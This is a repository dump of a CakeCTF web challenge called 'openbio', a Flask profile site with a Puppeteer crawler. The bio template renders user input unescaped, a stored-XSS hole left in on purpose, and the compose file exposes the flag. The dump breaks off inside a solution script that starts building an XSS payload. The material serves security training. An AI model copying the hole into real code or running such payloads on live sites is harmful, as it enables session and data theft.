| } 53 | 54 | const handle = async () => { 55 | console.log(await connection.ping()); 56 | connection.blpop('report', 0, async (err, message) => { 57 | try { 58 | await crawl(message[1]); 59 | setTimeout(handle, 10); 60 | } catch (e) { 61 | console.log("[-] " + e); 62 | } 63 | }); 64 | }; 65 | 66 | handle(); 67 | -------------------------------------------------------------------------------- /web/openbio/distfiles/crawler/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "ioredis": "^5.2.2", 4 | "puppeteer": "^16.2.0" 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /web/openbio/distfiles/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | challenge: 4 | build: ./service 5 | ports: 6 | - "8003:8080" 7 | links: 8 | - redis 9 | environment: 10 | - UWSGI_INI=/home/ctf/uwsgi.ini 11 | - LISTEN_PORT=8080 12 | restart: always 13 | 14 | crawler: 15 | build: ./crawler 16 | links: 17 | - challenge 18 | - redis 19 | restart: always 20 | 21 | redis: 22 | build: ./redis 23 | restart: always 24 | -------------------------------------------------------------------------------- /web/openbio/distfiles/redis/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM redis:6-alpine 2 | COPY ./redis.conf /redis.conf 3 | CMD ["redis-server", "/redis.conf"] 4 | -------------------------------------------------------------------------------- /web/openbio/distfiles/service/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tiangolo/uwsgi-nginx-flask:python3.8-alpine 2 | 3 | RUN apk update 4 | RUN adduser -D ctf 5 | RUN pip install Flask Flask-WTF redis requests 6 | 7 | WORKDIR /home/ctf 8 | ADD . . 9 | RUN chown -R root:ctf . 10 | -------------------------------------------------------------------------------- /web/openbio/distfiles/service/app.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import flask 3 | from flask_wtf.csrf import CSRFProtect 4 | import hashlib 5 | import json 6 | import os 7 | import re 8 | import redis 9 | import requests 10 | 11 | REDIS_HOST = os.getenv('REDIS_HOST', 'redis') 12 | REDIS_PORT = int(os.getenv('REDIS_PORT', 6379)) 13 | RECAPTCHA_KEY = os.getenv('RECAPTCHA_KEY', '') 14 | SALT = os.getenv('SALT', os.urandom(8)) 15 | 16 | app = flask.Flask(__name__) 17 | app.secret_key = os.urandom(16) 18 | csrf = CSRFProtect(app) 19 | 20 | """ 21 | Utility functions 22 | """ 23 | def login_ok(): 24 | """Check if the current user is logged in""" 25 | return 'user' in flask.session 26 | 27 | def conn_user(): 28 | """Create a connection to user database""" 29 | return redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0) 30 | def conn_report(): 31 | """Create a connection to report database""" 32 | return redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=1) 33 | 34 | def success(message): 35 | """Return a success message""" 36 | return flask.jsonify({'status': 'success', 'message': message}) 37 | def error(message): 38 | """Return an error message""" 39 | return flask.jsonify({'status': 'error', 'message': message}) 40 | 41 | def passhash(password): 42 | """Get a safe hash value of password""" 43 | return hashlib.sha256(SALT + password.encode()).hexdigest() 44 | 45 | """ 46 | Enforce CSP 47 | """ 48 | @app.after_request 49 | def after_request(response): 50 | csp = "" 51 | csp += "default-src 'none';" 52 | if 'csp_nonce' in flask.g: 53 | csp += f"script-src 'nonce-{flask.g.csp_nonce}' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';" 54 | else: 55 | csp += f"script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';" 56 | csp += f"style-src https://cdn.jsdelivr.net/;" 57 | csp += f"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;" 58 | csp += f"base-uri 'none';" 59 | csp += f"connect-src 'self';" 60 | response.headers['Content-Security-Policy'] = csp 61 | return response 62 | 63 | @app.context_processor 64 | def csp_nonce_init(): 65 | flask.g.csp_nonce = base64.b64encode(os.urandom(16)).decode() 66 | return dict(csp_nonce=flask.g.csp_nonce) 67 | 68 | """ 69 | Route 70 | """ 71 | @app.route('/') 72 | def home(): 73 | if login_ok(): 74 | conn = conn_user() 75 | bio = conn.hget(flask.session['user'], 'bio').decode() 76 | if bio is not None: 77 | return flask.render_template('index.html', 78 | username=flask.session['user'], bio=bio) 79 | return flask.render_template('login.html') 80 | 81 | @app.route('/profile/') 82 | def profile(user): 83 | if not login_ok(): 84 | return flask.redirect(flask.url_for('home')) 85 | 86 | is_report = flask.request.args.get('report') is not None 87 | 88 | conn = conn_user() 89 | if not conn.exists(user): 90 | return flask.redirect(flask.url_for('home')) 91 | 92 | bio = conn.hget(user, 'bio').decode() 93 | return flask.render_template('profile.html', 94 | username=user, bio=bio, 95 | is_report=is_report) 96 | 97 | """ 98 | User API 99 | """ 100 | @app.route('/api/user/register', methods=['POST']) 101 | def user_register(): 102 | """Register a new user""" 103 | # Check username and password 104 | username = flask.request.form.get('username', '') 105 | password = flask.request.form.get('password', '') 106 | if re.match("^[-a-zA-Z0-9_]{5,20}$", username) is None: 107 | return error("Username must follow regex '^[-a-zA-Z0-9_]{5,20}$'") 108 | if re.match("^.{8,128}$", password) is None: 109 | return error("Password must follow regex '^.{8,128}$'") 110 | 111 | # Register a new user 112 | conn = conn_user() 113 | if conn.exists(username): 114 | return error("This username has been already taken.") 115 | else: 116 | conn.hset(username, mapping={ 117 | 'password': passhash(password), 118 | 'bio': "

Hello! I'm new to this website.

" 119 | }) 120 | flask.session['user'] = username 121 | return success("Successfully registered a new user.") 122 | 123 | @app.route('/api/user/login', methods=['POST']) 124 | def user_login(): 125 | """Login user""" 126 | if login_ok(): 127 | return success("You have already been logged in.") 128 | 129 | username = flask.request.form.get('username', '') 130 | password = flask.request.form.get('password', '') 131 | 132 | # Check password 133 | conn = conn_user() 134 | if conn.hget(username, 'password').decode() == passhash(password): 135 | flask.session['user'] = username 136 | return success("Successfully logged in.") 137 | else: 138 | return error("Invalid password or user does not exist.") 139 | 140 | @app.route('/api/user/logout', methods=['POST']) 141 | def user_logout(): 142 | """Logout user""" 143 | if login_ok(): 144 | flask.session.clear() 145 | return success("Successfully logged out.") 146 | else: 147 | return error("You are not logged in.") 148 | 149 | @app.route('/api/user/update', methods=['POST']) 150 | def user_update(): 151 | """Update user info""" 152 | if not login_ok(): 153 | return error("You are not logged in.") 154 | 155 | username = flask.session['user'] 156 | bio = flask.request.form.get('bio', '') 157 | if len(bio) > 2000: 158 | return error("Bio is too long.") 159 | 160 | # Update bio 161 | conn = conn_user() 162 | conn.hset(username, 'bio', bio) 163 | 164 | return success("Successfully updated your profile.") 165 | 166 | """ 167 | Report spam account 168 | """ 169 | @app.route('/api/support/report', methods=['POST']) 170 | def report(): 171 | """Report spam 172 | Support staff will check the reported contents as soon as possible. 173 | """ 174 | if RECAPTCHA_KEY: 175 | recaptcha = flask.request.form.get('recaptcha', '') 176 | params = { 177 | 'secret': RECAPTCHA_KEY, 178 | 'response': recaptcha 179 | } 180 | r = requests.get( 181 | "https://www.google.com/recaptcha/api/siteverify", params=params 182 | ) 183 | if json.loads(r.text)['success'] == False: 184 | abort(400) 185 | 186 | username = flask.request.form.get('username', '') 187 | conn = conn_user() 188 | if not conn.exists(username): 189 | return error("This user does not exist.") 190 | 191 | conn = conn_report() 192 | conn.rpush('report', username) 193 | return success("""Thank you for your report.
Our support team will check the post as soon as possible.""") 194 | 195 | 196 | if __name__ == '__main__': 197 | app.run() 198 | -------------------------------------------------------------------------------- /web/openbio/distfiles/service/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {{ username }} - OpenBio 6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 |
14 |

15 | {{ username }}'s Profile 16 | 17 |

18 |
19 | 20 |
21 |
22 | 23 |
24 |
25 |
26 | 27 | 28 | 49 | 50 | -------------------------------------------------------------------------------- /web/openbio/distfiles/service/templates/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Login - OpenBio 6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 |
14 |
15 |
16 |
17 |
18 | 22 |
23 |
24 | 25 | 26 |
27 |
28 |
29 |
30 | 31 | 32 |
33 |
34 |
    35 |
  • 36 |
    37 | 38 |
    39 |
  • 40 |
  • 41 |
    42 | 43 |
    44 |
  • 45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 | 53 | 54 | 93 | 94 | -------------------------------------------------------------------------------- /web/openbio/distfiles/service/templates/profile.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {{ username }} - OpenBio 6 | 7 | 8 | 9 | 10 | {% if not is_report %} 11 | 12 | {% endif %} 13 | 14 | 15 |
16 |
17 |

18 | {{ username }}'s Profile 19 | 20 | {% if not is_report %}{% endif %} 21 |

22 |

{{ bio|safe }}

23 |
24 |
25 | 26 | 27 | 54 | 55 | -------------------------------------------------------------------------------- /web/openbio/distfiles/service/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = app 3 | callable = app 4 | uid = ctf 5 | gid = ctf 6 | -------------------------------------------------------------------------------- /web/openbio/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | challenge: 4 | build: ./distfiles/service 5 | ports: 6 | - "8003:8080" 7 | links: 8 | - redis 9 | environment: 10 | - UWSGI_INI=/home/ctf/uwsgi.ini 11 | - LISTEN_PORT=8080 12 | - RECAPTCHA_KEY=XXXXXXXXXXXXXXXX 13 | restart: always 14 | 15 | crawler: 16 | build: ./distfiles/crawler 17 | links: 18 | - challenge 19 | - redis 20 | environment: 21 | - "flag=CakeCTF{httponly=true_d03s_n0t_pr0t3ct_U_1n_m4ny_c4s3s!}" 22 | restart: always 23 | 24 | redis: 25 | build: ./distfiles/redis 26 | restart: always 27 | -------------------------------------------------------------------------------- /web/openbio/solution/gen.py: -------------------------------------------------------------------------------- 1 | import base64 2 | 3 | payload = b""" 4 | $(document).ready(function() { 5 | $.get('/', (data) => { 6 | let rx = /